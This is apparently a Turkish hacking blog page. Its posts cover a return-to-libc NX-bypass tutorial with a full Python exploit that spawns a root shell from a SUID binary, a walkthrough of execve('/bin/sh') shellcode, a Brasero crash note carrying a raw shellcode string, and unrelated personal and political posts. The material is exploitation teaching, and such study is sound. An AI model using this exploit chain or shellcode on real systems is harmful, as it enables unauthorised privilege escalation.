Salı, Mart 1

Return-2-Libc Analiz ve Exploitation

Merhabalar hekır cemaati, teknik konuları işlemeye, gelişmeye ve geliştirmeye devam. Bugünkü mevzumuz uzun zaman önce işlediğimiz "stack buffer oveflow" konusuyla bağdaşan onun bir alt başlığı olan "NX-BIT" bypass.

Peki nedir bu "NX" diye soranları duyuyorum, isterseniz kısaca açıklayalım. Öncelikle Linux sistemlerde çalışma mantığı ve güvenlik konularında kısa bir bilginiz olması açısından ASLR ve SSP araştırmanızı öneriyorum [yakında bunlar hakkında da geniş bir pdf yazacağım] bununla beraber "NX BIT" açıklamak gerekirse şu şekilde anlatabiliriz;

"NX BIT" stack ve heap korumak amaçlı üretilmiş bir savunma sistemi olup stack diye tabir ettiğimiz programlarımızın çalışması için gerekli olan alanların güvenliğini sağlar açıklama ile mütevellit (non eXecutable) açılımı ile; yazarsın, okursun eyvallah ama çalıştırmaya çalışırsın sıkıntı büyük gibi bir açıklama yapabiliriz. Peki nasıl oluyor bu ? Şu şekilde siz bir programı derlediğinizde ki bu "gcc" ile bir "C" kodunu derlediğinizde program otomatik olarak bu önlemleri alıp ve program için ayrılmış olan ve bizimde işlem yapmamızı sağlayan stack'de bir flag eksiltir o da "eXecute" flag'dir. Bunu görsel olarak açıklamak gerekirse;

GNU_STACK SEKMESI RW yani okunabilir ve yazılabilir lakin çalıştırılamaz.(except x)
Yukarıda ki resimde de gördüğünüz üzere stack şu an sadece sadece okunabilir ve yazılabilir durumda bu şartlar altında yapmamız gereken ise Return-2-Libc methodunu uygulamak peki bu method nedir ve ne işe yarar "NX" nasıl bypasslıyor gibi soruları kısaca açıkladıktan sonra detayları internette araştırarak daha fazla bilgi sahibi olmanız dileğiyle unutmadan "NX" yukarıda da bahsettiğimiz üzere memory korumaya çalışan bir kaç kalkan yazılımlarından birisidir bu seri ile beraber hem exploitation mantığı hemde diğer sistemlerin nasıl aşılacağınıda blog ekleyeceğim. Şimdi methodu kısaca açıklayalım ve uzatmadan işlemlere geçelim;


Return-2-Libc mantığı taşıma suyla değirmeni döndürmeye benziyor, okuma ve yazma imkanı olan bir bölüme belirlenen offsetler dahilinde bir taşıma yapılarak Libc üstünde çalıştırma imkanı verildiğinde açık tetiklenmiş ve bu sayede "Privileges" yani account yetki yükseltmiş oluyor. Bu teknikte kısaca bahsedilmesi gereken bir kaç mevzudan da bahsedip sizi yapılanlarla başbaşa bırakmak istiyorum;

Öncelikle yazılımda kullanılan fonksiyonların çağrılmasıyla açık tetiklenir siz kafanıza göre şuradan ben bir printf şuradan bir puts diye açığı çağıramazsınız en nihayetinde yazılımın içinde ki fonksiyonlarla yazılımın stack bir çalışma söz konusu burada yazılımda da kullanılmış lakin protect edilmiş fonksiyonları bir nevi imece usulle çağırarak yazılımda ki açığı tetikliyoruz başlayalım.


/*bof.c*/
#include <stdio.h>
#include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { char buf[500]; printf("buf = %p\n", buf); strcpy(buf, argv[1]); puts(buf); return 0; }
Yukarıda ki örnek kodumuzu derlemeden önce, blog içinde okumuş arkadaşların bildiği üzere klasik işlemleri yapmamız lazım çünkü yukarıda da belirttiğimiz üzere birden çok güvenlik kalkaı var NX haricindekileri off hale getirip "root" yetkisiyle devam edelim;



$ cat "0" > /proc/sys/kernal/randomize_va_space // ASLR Etkisiz
$ gcc -fno-stack-protector -o bof bof.c
$ sudo chmod u+s bof // SUID 
$ ls -la bof
-rwsr-xr-x 1 root root 7410 bof // read-write-suid-run(rwsr)
Yukarıda ki işlemleri yaptıktan sonra son haliyle stack bri görelim;

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
  INTERP         0x000154 0x08048154 0x08048154 0x00013 0x00013 R   0x1
      [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x00670 0x00670 R E 0x1000
  LOAD           0x000f08 0x08049f08 0x08049f08 0x00120 0x00124 RW  0x1000
  DYNAMIC        0x000f14 0x08049f14 0x08049f14 0x000e8 0x000e8 RW  0x4
  NOTE           0x000168 0x08048168 0x08048168 0x00044 0x00044 R   0x4
  GNU_EH_FRAME   0x00058c 0x0804858c 0x0804858c 0x0002c 0x0002c R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x10
  GNU_RELRO      0x000f08 0x08049f08 0x08049f08 0x000f8 0x000f8 R   0x1
Yukarıda ki tabloda görüldüğü üzere "readelf -e bof" komutuyla genel olarak bilgileri nerede neyi çalıştıracağımızı ya da çalıştırabileceğimizi yahut okuyabileceğimizi gördük. Stack şu an read-write yani okuma ve yazma modunda lakin yazılanlar çalıştırılamaz.


$ ldd bof
linux-gate.so.1 =>  (0xb7ffe000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e37000)
/lib/ld-linux.so.2 (0x80000000)
Yukarıda ki ldd komutuyla bağımlıklaları ve hangi dosyalara çağrı yapacağını ve ihtiyaç duyduğunu görüyoruz. Görmek durumundayız bağımlıklar ve kütüphaneler üzerinden çağrı yapan fonksiyonların offsetlerini "libc.so.6" dosyası üzerinden ayıklayacağız.

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep "puts"
 203: 00065650   421 FUNC    GLOBAL DEFAULT   12 _IO_puts@@GLIBC_2.0
 430: 00065650   421 FUNC    WEAK   DEFAULT   12 puts@@GLIBC_2.0
 505: 000f1050  1032 FUNC    GLOBAL DEFAULT   12 putspent@@GLIBC_2.0
 690: 000f2860   497 FUNC    GLOBAL DEFAULT   12 putsgent@@GLIBC_2.10
 1173: 000640a0   325 FUNC    WEAK   DEFAULT   12 fputs@@GLIBC_2.0
 1721: 000640a0   325 FUNC    GLOBAL DEFAULT   12 _IO_fputs@@GLIBC_2.0
 2366: 00069710   151 FUNC    GLOBAL DEFAULT   12 fputs_unlocked@@GLIBC_2.1
Yukarıda görülen "puts" fonksiyonun offset adresi 0x00065650 olarak belirlenmiştir bu adres "NX" protect olduğu için etkisiz haldedir, müdahale edeceğiz.


readelf -s /lib/i386-linux-gnu/libc.so.6 | grep "system"
    243: 00119240    73 FUNC    GLOBAL DEFAULT   12 svcerr_systemerr@@GLIBC_2.0
   620: 00040190    56 FUNC    GLOBAL DEFAULT   12 __libc_system@@GLIBC_PRIVATE
  1443: 00040190    56 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0
Yukarıda çağrışımda bulunacağımız "system" fonksiyonunun "0x00040190" adresi belirtilmiştir çağırılan diğer fonksiyonunlar çalıştıracak olan system fonk. adresinide not etmiş bulunuyoruz.



strings -a -tx /lib/i386-linux-gnu/libc.so.6 | grep "sh$"
   e412 inet6_opt_finish
   f34e _IO_wdefault_finish
   f932 _IO_fflush
  117b5 _IO_file_finish
  11ca3 bdflush
  120e7 tcflush
  12399 _IO_default_finish
 15e0e5 Trailing backslash
 15e5b8 sys/net/ash
 160a24 /bin/sh
 162988 /bin/csh
 1ab831 .gnu.hash
 Belirtilen offset adresi ilede terminale düşeceğiz tam olarak exploit üstünden neler yapmak istediğimizi ve sonrasında kısa bir algoritma ile neler yaptığımzı ve 3 fonksiyonun neyi nasıl çağırdığını görebilirsiniz.


$ gdb-peda$ i proc map // info process map -> uygulamarın çalışma alanı üzerinde ki harita bilgisi
process 7248
Mapped address spaces:
Start Addr   End Addr       Size     Offset objfile
0x8048000  0x8049000     0x1000        0x0 /home/bugger/les/bof
0x8049000  0x804a000     0x1000        0x0 /home/bugger/les/bof
0x804a000  0x804b000     0x1000     0x1000 /home/bugger/les/bof
0xb7e15000 0xb7e16000     0x1000        0x0 
*0xb7e16000 0xb7fbe000   0x1a8000        0x0 /lib/i386-linux-gnu/libc-2.19.so
0xb7fbe000 0xb7fc0000     0x2000   0x1a8000 /lib/i386-linux-gnu/libc-2.19.so
0xb7fc0000 0xb7fc1000     0x1000   0x1aa000 /lib/i386-linux-gnu/libc-2.19.so
0xb7fc1000 0xb7fc4000     0x3000        0x0 
0xb7fd7000 0xb7fda000     0x3000        0x0 
0xb7fda000 0xb7fdc000     0x2000        0x0 [vvar]
0xb7fdc000 0xb7fde000     0x2000        0x0 [vdso]
0xb7fde000 0xb7ffe000    0x20000        0x0 /lib/i386-linux-gnu/ld-2.19.so
0xb7ffe000 0xb7fff000     0x1000    0x1f000 /lib/i386-linux-gnu/ld-2.19.so
0xb7fff000 0xb8000000     0x1000    0x20000 /lib/i386-linux-gnu/ld-2.19.so
0xbffdf000 0xc0000000    0x21000        0x0 [stack]
Son olarak Libc base adress belirlememiz gerekiyor bunun için gdb ile dosyamızı açıyoruz bu alanda kodlar çalışacak belirtilen system+puts /bin/sh. 0xb7e16000 offset.

Hops ! Evet son admları atarken exploitation sekmesine geçebiliriz gerekli offsetler elimizde ve son bir dokunuş kalıyor;



#!/usr/bin/python
import sys
import struct
from subprocess import Popen
bufsize = int(sys.argv[1])
libc_base = int(sys.argv[2], 16)
puts = libc_base + 0x00065650
system = libc_base + 0x00040190
binsh = libc_base + 0x160a24
buf = 'A' * bufsize
buf += 'AAAA' * 3
buf += struct.pack('<I', puts)
buf += struct.pack('<I', system)
buf += struct.pack('<I', binsh)
buf += struct.pack('<I', binsh)
with open('buf', 'wb') as f:
    f.write(buf)
p = Popen(['./bof', buf])
p.wait()
Python scriptimiz burada şimdi devamını görelim;




Woouhaa ! NX-BIT aşıldı ve root ekranına düşüldü işlemler burada biterken bir kaç hatırlatma ve izlenen yolları kullanılan kaynakları özellikle benimde bu yazıda çokca faydalandığım bir kaç kaynağı aşağıda bulabilirsiniz.

Neler Yaptık Böyle ?
Öncelikel belirlenen şartlarda karşımıza çıkan belirli şartlarda oluşturulmuş ve belirli güvenlik kurallarına sahip bir sistem koruyucusunu aştık öncelikle bunu tam manasıyla herkesin anlayacağı bir şekilde yazmaktan fayda var, ikinci olarak bu güvenlik sistemi aşılırken yazıda da ısrarla bahsettiğim gibi imece bir usul izlendi lakin exploitation ve kullanılan bu yol son derece modern şekilde işlendi öncelikle zaafiyet bulunan yazılımın içinde ki fonksiyon tespiti yapıldı ve bu fonksiyon aracılığıyla işlemler ilerletildi.


  1. Yazılım sınandı
  2. Zaafiyet tespiti yapıldı
  3. Gerekli fonksiyonlar elde edildi
  4. Exploit yazıldı
  5. Ve sistemde yetki yükseltilerek sistem ele geçirildi.
Genel olarak herkesin anlayacağı bir dille bu şekilde yollar izlendi elimden geldiği kadar açık bir şekilde basitlendirilmiş şekilde yazmaya çalıştım yinede aklınız bir yerlere takılırsa yorum ile sorularınızı sorabilirsiniz.

Hoşçakalın


Kaynaklar:
https://sploitfun.wordpress.com/2015/05/08/bypassing-nx-bit-using-return-to-libc/

http://inaz2.hatenablog.com/entry/2014/03/24/020347
https://en.wikipedia.org/wiki/NX_bit
https://wiki.gentoo.org/wiki/Hardened/GNU_stack_quickstart
https://www.bpak.org/blog/wp-content/uploads/1/1323932436.pdf


Very Thanks:

Levent Yüksel - Beni Unutma (JoyTurk Akustik)
Levent Yüksel - Med cezir (JoyTurk Akustik)
Levent Yüksel - Karaağaç (JoyTurk Akustik)
Eflatun - Dünyanın Bütün Sabahları (JoyTurk Akustik)
Bulutsuzluk Özlemi & Hakan Aysev - Sözlerimi Geri Alamam (Live)



Çarşamba, Şubat 17

0xa'dan Geri Doğru Say !






/*Sürekli aklımda olan zamanım olsada yazsam dediğim bir yazı.Eleştiri var, özeleştiri var, varoluvar.

Bugün farkettiğim bir durum değil ama yinede bugün bir kez daha geri kalmışlığın, gelişmekte olan bir ülke olamamışlığın[internette] acı yüzüyle karşılaştım.

Ülkede Cristiano Ronaldo'nun ülkesine çağırdığı ablanın kim olduğunu, Dan Bilzerian denen pezevengin[affınıza sığınarak] açık açık zina teklif ettiği kadının mesleğini, hobilerini, kendisini ve dahi O Ses Türkiye birincinin kim olduğunu gayet iyi şekilde biliyorsunuz değil mi ?

Peki yazıya başlığı veren "0xa" ne olduğu konusunda bir fikriniz var mı ? Yahut ileri düzey makaleler bulamadığı için okullarda yarım yamalak öğretilmiş ingilizce ile internette bunun ne olduğun öğrenip daha fazla geliştirmek isteyen insanların olduğu konusunda bir fikriniz var mı ? Peki bunların kim olduğunu biliyor musunuz ? Bilmiyorsunuz !

Aslında bende bu sıralar farkettim. Nasa hekleyen türk hek timin varlığını, anonymous hekleyen ayyıldız timin varlığını vs. peki sizlerde farkettiniz mi ?

Şu yukarıda yazdığım satırların yokluğunda ortaya çıkmış abiler, kardeşler bunlar google'den herkese açık dosyaları bulup biz Nasa hekledik diyenler, biz yurtdışına operasyon[arkadaşlar bordo bereli] yapıyoruz tüm hepsinden intikam alıyoruz diyenler işte bunlar hep bu yoklukta ortaya çıkan insanlar, eğitimsizliğin ve öğrenilecek kaynakların yokluğunda ortaya çıkmış insanlar.

Google aramalarında .doc .pdf bulmayı insanlara hekırlık olarak gösteren insanlar yetiştirdik son 5-6 senedir, nasıl olduysa bir türlü önüne geçilemedi bu furyanın. Kimisi bu furya ile yüzük kitap sattı, kimisi hayal. Eğitimsizliğin bir sebebide bunlar. Medyada tanıdığınız iki tane gazeteci mi var ? O zaman Adwors kuponu gösterip ben google hekledim diyebilirsiniz mesela, yahut Rusya'da binlerce site heklendi diye haber yaptırabilirsiniz kimse bilmez bakkal, manav siteleri hekleyip öteki gün uyanacak adamın "-yav gardaş bizim suçumuz ne?" diyebileceğini yahut televizyonlara çıkıp uçak, helikopter gibi araçlar düşürebilirsiniz kimse size nerede düşürdün, sen efonalti misin ? Uçak savar mısın ? Diye sormayacaktır mesela. Yeter ki tanıdığınız olsun ideolojilerinizde yakınsa sağcı sağ gazetede şahlandırır, solcusu sol gazetede ne ala memleket.

Ülkenin en iyi üniversiteleri polisle çatışma konusunda uzmanlaşıp birbirine molotof yapmayı öğretirken bu ülkede bir cahillik baş gösteriyor. İnsanların arayıpta bulamadığı, bulamadığı için öğrenemediği şeyleri "BİLMİYORUM" diyemediği için insanları zehirlemeyi tercih ediyorlar. Halbuki Benim Ülkem'de hakediyor iyi makalelere sahip olmayı, ileri derecede araştırmalar ile yazılmış programlama dillerinde ki kitapları ama bu ülkede insanlara hayal satmak daha cazip ve olanıklı geldiği için;

"x86-x64 Architecture Reverse Engineering"
"ARM ASM Analyz"
"Linux Kernel Exploitation"
"Stack Buffer Overflow" ~[World Release 1996][TR Respect Enderunix]
"Heap Overflow" ~[ASLR BYPASS, DEP BYPASS, NX BYPASS, PAX]
"Heap Overflow(Malloc Maleficarum)
"Format String Vuln" ~[TR Respect Enderunix]
"ROP ATTACK, SOP ATTACK"
"Use After Free"

Bir çok kişi bilse daha mutlu olabileceği şu ve şuna benzer basit konuları bilemeyecek ne yazık ki. Yahut;
Şurada yazılan ve tarihe geçmiş makalenin http://insecure.org/stf/smashstack.html aslında http://phrack.org/issues/49/14.html aracılığıyla yayınladığını ve 1996 yılında bu çalışmanın yapıldığını isteselerde bilemeyecekler. Okullarımızda verilen zayıf ingilizce ve matematik eğitimi yüzünden ingilizcesi olmadığı için okuyamayacak, matematiği olmadığı için sorun çözme kapasitesini kaybettiği için okuduğu makaleden bir sonuç çıkaramayacaktır ne yazık ki.

Bugün nasayı heklediğini söyleyen arkadaşlardan onlarcası daha gelecek ve abilerinin yaptıkları gibi aynı şeyleri yapıp medyada haber olacaklar, egoları tatmin olacak, komutanları moderatörlük verecek onlara, sosyal medyada google "feys" yazıp giren insanlardan "-helal olsun kardeşim" yazıları okuyup şahlandıracak içinde ki hekırlık duygularını ve polise saldıran, ağaç için ülkeyi karıştıran ülkemin güzide okulunda ki insanlar ise yaptıklarını birer anı olarak saklayıp ileride okullarının getirdiği iyi profiller sayesinde plazalarda çalışıp "kafilerini" yudumlarken pencereden baktıklarında kendilerininde içinde bulunduğu kocaman betonlar görecekler. Ve bizde hala "nasayı" hekleyen, "uçak" düşüren, "adwors" kuponuyla google hekledim diye milleti kandıran andavalların yalanlarıyla uyuşan millete bakıp bir kez daha ve dahi çok kez daha üzüleceğiz. */


Son zamanlarda takım olarak ne yapsak, ne etsekte farklı bir şeyler anlatabilsek diye düşündüğümü doğrudur. Bunun için insanlara programlama dilinde bir tek 2+1 toplamayı öğretmeyi reddettiğimizde doğrudur, farklı şeyler yapıp bir üst basamaklara tırmanmak konusunda ki gayretimizde kişisel değil vatan ve millet sevgisinden kaynaklı olduğuda doğrudur. Elimizden geleni yapmaya çalıştığımız Türkiye'de çok fazla rastlanmayan ya da endüstriyel hale getirilmiş şeyleri free şekilde makale haline dökmeye çalışma çabalarımız her daim sürecek, umut ediyoruz ki
site:nasa.gov ext:pdf araması yapmayı öğrenen arkadaşlardan farklı, "union all select 1,2,3,4#" ile sql çekmekten farklı, "kanka server var mı?" diyen arkadaşlardan farklı, "2.x.x kernel root exploit var mı?" diye çöp forumlarda gezen arkadaşlardan farklı, sosyal medyada sürekli onun bunun yazdığı research konularını retweetlen arkadaşlardan farklı bir nesil yetişecek, umut ediyoruz ve destekliyoruz.

( Ronaldo'nun çağırdığı cansu taşkın, bilzerian'ın çağırdığı nil anka,  o ses türkiye şampiyonu emre sertkaya, Secde ederek şehadete ulaşan Şehit Komiser Umut Tunçay, Kahpece pusu kurularak Şehit edilen ve İdil'de ki operasyona adı verilen Ersin Yıldırım, 53 Yaşında Şehadete kavuşan ve oğlu'nun her saati her günü "- babam gideli şu kadar saat oldu" diyerek saydığı Şehit Osman Yurt, Kürt olan ve kendi isteğiyle teröristlerle çatışmaya gelip kahpece şehit edilen Abdulselam Özatak, kahpece, şerefsizce yapılan saldırıcı sonucu kızıyla beraber şehadet şerbeti içen Şehit Polis Mehmet Şenol Çiftçi ve minik yavrusu Mevlüde İrem Çiftçi. Bunlarıda biliyorsunuz değil mi ?)

*/S.K Ö.K .Y.T A.Ç H.İ /* TG

Cumartesi, Aralık 12

Shellcode Linux - 2

/*Evet en son serinin üstünden çok zaman geçti nasip bu zamanaymış diyerekten yazılarımızı devam ettirebiliriz olağan gelişen ve sürekli olarak gelişmeye devam eden iş tantanasından ötürü bu yazıları seri şekilde yazamıyorum bu yüzden kimsecikler kusura bakmasın diyerekten yazımıza geçelim istiyorum... */

Evet en son shellcode'da Linux System Call numberları işliyorduk hatta birde pause fonksiyonunu işlemişiz ikinci seride biraz daha string ağırlıklı ve system call function kullanarak hareket etmeyi göreceğiz ama öncelikle kaldığımız yerden devam edelim kafa karışıklıklarına meydan vermeyelim.

Evet biraz string yazdıralım cümleleyelim felan salıverelim isterseniz, evet yeniden terminalimiz açıp gerekli kodları yazdıralım zaten bu asm editor hakkında da bilgi vermiştim isteyen nasm isteyen gasm vs. gibi editörler kullanabilir. Basic olarak .asm öğrendiğinizde bir nevi shellcode ilerletmiş oluyorsunuz ama tam manasıyla ben asm. hakim olmak istiyorum diyorsanız opcode ve sistemin işleyişi hakkında tam manasıyla çözümleme yapmanız gerekmektedir. Peki bunlar nelerdir diye soracak olursanız her yazımda belirttiğim gibi "EZBER YAPMAYIN" sözüyle bir örnekle açıklamak istiyorum; CMP fonksiyonun açılımı "compare" yani karşılaştırma fonksiyonudur. Şöyle ki,

mov ebx, 0x1
xor eax, eax
inc eax
cmp eax, ebx
:?

Peki ne yaptık burada ? Açıklayalım, asm mantığı tamamen ilkokulda düşman olduğumuz matematik ile bağdaşır ve bu şekilde çalışır; "Ya bilgisayar 0 ve 1 ile çalışıyor yaa" diye söylediğimizde nasıl yaa ? Diye sorduklarında şu yukarıda ki çıktı ve binary aklınıza gelirse eğer tam manasıyla anlamış olursunuz. Yukarıda ebx 1 atadık, sonrasında eax register xor operatoru ile "0" sayısına çevirdik ve inc operatoruyle 1 sayı öne attırdık daha sonrasında cmp fonksiyonu ilede karşılaştırdık karşılaştırmadan sonrada yapılacak şeyler size kalıyor artık "je" mi dersiniz "jne" mi dersiniz orası size kalmış bir mevzu kısa bir açıklamadan sonra mevzumuza dönelim.

Shellcode mantığında yazdığımız kodlar, belirli bir şekilde kodlanarak istismar edilecek sistemlere enjekte edilmektedir. İsterseniz "kem küm" etmeden direkt mevzuya geçelim;

Aşağıda gördüğünüz kod silsilesiyle /bin/bash çağırarak konsolda istediğimiz gibi komutlama işlemini yapabiliriz öncelikle bu kodu bir inceleyelim ve olup biteni anlayalım.


#include <stdio.h>
int main() {
         char *name[2];
          name[0] = "/bin/sh";
           name[1] = NULL;
            execve(name[0], name, NULL);
}  
/* gcc shell2.c -o shell2 -static */

hafif bir C bilgisiyle yukarı da "/bin/sh" çağırdığımızı görebilirsiniz bunun içinde execve fonksiyonu kullanılmaktadır birde gdb ile inceleyelim;


(gdb) set disassembly-flavor intel 

(gdb) disas main

Dump of assembler code for function main:

   0x08048254 <+0>: push   ebp

   0x08048255 <+1>: mov    ebp,esp

   0x08048257 <+3>: and    esp,0xfffffff0

   0x0804825a <+6>: sub    esp,0x20

   0x0804825d <+9>: mov    DWORD PTR [esp+0x18],0x80aad68

   0x08048265 <+17>: mov    DWORD PTR [esp+0x1c],0x0

   0x0804826d <+25>: mov    eax,DWORD PTR [esp+0x18]

   0x08048271 <+29>: mov    DWORD PTR [esp+0x8],0x0

   0x08048279 <+37>: lea    edx,[esp+0x18]

   0x0804827d <+41>: mov    DWORD PTR [esp+0x4],edx

   0x08048281 <+45>: mov    DWORD PTR [esp],eax

   0x08048284 <+48>: call   0x804f770 <execve>

   0x08048289 <+53>: leave  

   0x0804828a <+54>: ret    

End of assembler dump.


Evet ilk satırlarda da göreceğimiz üzere klasik bir işlem yapılmaktadır;

   0x08048254 <+0>: push   ebp

   0x08048255 <+1>: mov    ebp,esp

   0x08048257 <+3>: and    esp,0xfffffff0

   0x0804825a <+6>: sub    esp,0x20
push operatoruyle stack yazılan bilgilerden sonra, stack ve base pointer aynı değerler üstünden bilgiler çekiliyor(LIFO), and operatörüyle yapılan  mantıksal karşılaştırma ve sonrasında sub fonksiyonuyla bir stack segmentinden 0x20(32) bir değer çıkartılıyor ve değer ilk parametreye aktarıldı. Unutmadan cmp operatörü işlemlerinde subtract yani çıkarma işlemi kullanır.


 (gdb) p/d 0xfffffff0

$7 = 4294967280
Değeri incelediğimiz karşımıza şu şekilde bir değer çıkıyor bu değerin sonrasında tabi ki çıkarma işlemi ile işlemimiz devam ediyor. Burada "sys call number" dikkat çekmek istediğim bir konu var son satırda da görüldüğü üzere bir fonksyion call ediliyor bunun biraz daha derinine inmek gerekirse;


(gdb) disas execve

Dump of assembler code for function execve:

   0x0804f770 <+0>: push   ebp

   0x0804f771 <+1>: mov    ebp,esp

   0x0804f773 <+3>: mov    edx,DWORD PTR [ebp+0x10]

   0x0804f776 <+6>: push   ebx

   0x0804f777 <+7>: mov    ecx,DWORD PTR [ebp+0xc]

   0x0804f77a <+10>: mov    ebx,DWORD PTR [ebp+0x8]

   0x0804f77d <+13>: mov    eax,0xb <======

   0x0804f782 <+18>: int    0x80

   0x0804f784 <+20>: cmp    eax,0xfffff000

   0x0804f789 <+25>: ja     0x804f78e <execve+30>

   0x0804f78b <+27>: pop    ebx

   0x0804f78c <+28>: pop    ebp

   0x0804f78d <+29>: ret    

   0x0804f78e <+30>: mov    edx,0xffffffe8

   0x0804f794 <+36>: neg    eax

   0x0804f796 <+38>: mov    DWORD PTR gs:[edx],eax

   0x0804f799 <+41>: or     eax,0xffffffff

   0x0804f79c <+44>: jmp    0x804f78b <execve+27>

End of assembler dump.

"0x0804f77d" hex adresine baktığımızda "eax" register bir adres taşıması(0xb) gerçekleşiyor;


~ :/c# cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep 11

#define __NR_execve 11

Yukarıda "sys call" dosyasını geçen yazıda belirtmiştim çıkan sonuçta tam olarak "eax" registerıyla çağırılan fonksiyonla örtüşür durumda tesadüf değil : )

En son tanımladığımız ve asıl amacımızı belirten "bash" mevzusuna geri dönelim;

(gdb) printf  "%s\n", 0x80aad68

/bin/sh

Yukarıda main fonksiyonuna bağlı hex değerini okuduğumuzda bizi tam olarak amacımıza götürüyor üzerine sayfalarca shellcode yazılmış ve halen daha yazılmakta olan "/bin/sh" modülü.

Tam olarak bu offsete yapılan çağrılarda yahut bu hex tanımlanmış olan bu bu fonksiyonu istediğiniz gibi başka hex değerler üstünde kullanabilirsiniz yukarıda print edilen hex değerinin açılını "/bin/sh" demektir ve bu hex değeri okutularak /bin/sh çağırılabilir vs.

Mevzumuz bitmiş değil şimdi bir açılımla elde ettiğimiz değerler üstünden yürüyerek neler yaptığımızı görelim isterseniz(1. yazı seriye dahil);

1. Sistem call number ile fonksiyon numaraları,
2. C kod ile sistem çağrıları,
3. Sağlıklı ve terminate olmayacak şekilde shellcode yazılması(Null Byte),
4. C kod ile /bin/sh çağrısı ve çalışma mantığı,

5. Sys Call fonksiyonlarından birinin Debug edilmesi.


//3. Seride görüşmek dileğiyle





Salı, Kasım 3

Ağır



Gülerek, koşarak, sevinerek yürüdüğün yollar şimdi ağır geliyor mu sanada ? Sahiden kilometrelerce yürüyüp yürüyüp tam o geçtiğimiz yerden geçerken dalıyor mu gözlerin seninde ? Sahiden ağırlaşıyor mu göz kapakların, takılıp kalıyor mu yok yere gırtlağına lanet bir hıçkırık yahut yoruyor mu ayakların senide ? Ben yoruluyorum, geçtiğimiz sokakların, yürüdüğümüz yolların köşe bucak kaçan hatıralarında seni aramaktan. Hem böyle olmazdı eskiden şimdi sanıyorum ki yüreğin yorgunluğu ayaklarıma vurdukça yoruluyor ve bir o kadarda halsizleşiyorum...

Gitmek gerekiyor böyle zamanlarda kapıda bizim kediyi, semtte bir kaç eşi dostu yahut istanbul'da üsküdarı aklına ne geliyorsa işte terkedip gitmek lazım yoksa ayak yorgunluğu olmaktan çıkıp yüreğe vurdukça, kalpte çarptıkça yoruluyor insan inan ki bahar gözlüm, bu yorgunluklar ki istemsizce döküldüyse de satırlara yinede seni unutacağım bir bahar ama bu bahar değil, değil.

Salı, Ekim 27

Project 1 - Brasero Disc Burner Crash

Merhabalar, "Brasero Disc Burner" System Crash Bug's;
Gnome araçlarından brasero disc burner üstünde meydana gelen crash zaafiyeti hakkında kısa bir yazı dizisi yazmak istedim, uzun zamandır yarım bıraktığım yazıyı tamamlama vaktinin geldiğini düşünüyorum "0".

klasik karakterlerle test"\x41", "\x42" bla bla.
(http://www.rapidtables.com/code/text/ascii-table.htm)














Shellcode Test blablabla.
"\x68\x69\x6e\x67\x0a\x68\x74\x61\x72\x74\x68\x73\x68\x20\x53\x68\x20\x43\x72\x61\x68\x57\x6f\x77\x21\x31\xc9\xb1\x14\x51\xb8\x11\x11\x51\x08\x50\x31\xc0\x50\x54\x51\x89\xe6\x83\xc6\x14\x03\x74\x24\x10\x2b\x34\x24\x56\x89\xf1\xeb\x1c\xeb\x0c\x59\x59\xe2\xe8\x31\xdb\x31\xc0\xb0\x01\xcd\x80\x31\xc0\xb0\xa2\x8d\x5c\x24\x0c\x31\xc9\xcd\x80\xeb\xe6\x31\xd2\xb2\x01\x31\xdb\xb3\x01\x31\xc0\xb0\x04\xcd\x80\xeb\xd4"
















Detaylı olarak aşağıda açıklanacak olan bu zaafiyetin diğer bir yönüde debugger üstünden verilen ascii karakterini çevirerek kendi içinde dönüştürmesidir, belirli bir karakter dizesinden sonra GTK message frame crash zaafiyeti gösterecektir ek olarak GTK item list'de aynı şekilde hareket ettirilerek crash zaafiyetinin tetiklenmesini sağlayacaktır. Aşağıda ki örnekte de göreceğiniz üzere verilen ascii karakterler başarılı bir şekilde dönüştürülmüş görünüyor. Peki normal olarak terminal üstünden argüman eklerken "\x41" şeklinde görünen karakterler niçin debugger üstünden gönderildiğinde derlenmiş bir şekilde gözüküyor ?













Argument input: /src/main.c

main (int argc, char **argv)
{
        GApplication *gapp = NULL;
        GOptionContext *context;

#ifdef ENABLE_NLS
        bindtextdomain (GETTEXT_PACKAGE, PACKAGE_LOCALE_DIR);
        bind_textdomain_codeset (GETTEXT_PACKAGE, "UTF-8");
        textdomain (GETTEXT_PACKAGE);
#endif

        g_thread_init (NULL);
        g_type_init ();

        /* Though we use gtk_get_option_group we nevertheless want gtk+ to be
         * in a usable state to display our error messages while brasero
* specific options are parsed. Otherwise on error that crashes. */ 
 // Thats correct with os :( (line up check)

        gtk_init (&argc, &argv);

        memset (&cmd_line_options, 0, sizeof (cmd_line_options));

        context = g_option_context_new (_("[URI] [URI] …"));
        g_option_context_add_main_entries (context,
                                           prog_options,
                                           GETTEXT_PACKAGE);
        g_option_context_set_translation_domain (context, GETTEXT_PACKAGE);

        g_option_context_add_group (context, egg_sm_client_get_option_group ());
        g_option_context_add_group (context, gtk_get_option_group (TRUE));
        g_option_context_add_group (context, brasero_media_get_option_group ());
        g_option_context_add_group (context, brasero_burn_library_get_option_group ());
        g_option_context_add_group (context, gst_init_get_option_group ());
        if (g_option_context_parse (context, &argc, &argv, NULL) == FALSE) {
                g_print (_("Please type \"%s --help\" to see all available options\n"), argv [0]);
                g_option_context_free (context);
                return FALSE;
        }
Main kodlarını incelediğimizde  spesifik ayarlarda crash olabileceği vurgusunda bulunulmuş, normal terminal girişlerinde eklenen argümanlar güvenli bir şekilde karakter olarak algılanırken debug edilmiş source üstünden python ile beraber çağırılan karakterler GTK üstündenden Systeme paralel olarak CRASH zaafiyeti barındırmaktadır.


 Burada gtk_init fonksiyonunun stabil bir şekilde çalışmadığı ve gönderilen değerleri GTK frame üstüne bastığını görüyoruz. Burada ikinci bir zaafiyet olarak GTK Frame'in belirli bir karakter dizesi sonrasında crash olduğunu görmekteyiz, bunu tetikleyen gtk_init fonksiyonu ile birlikte aşağıda göreceğiniz tanımlamadır.


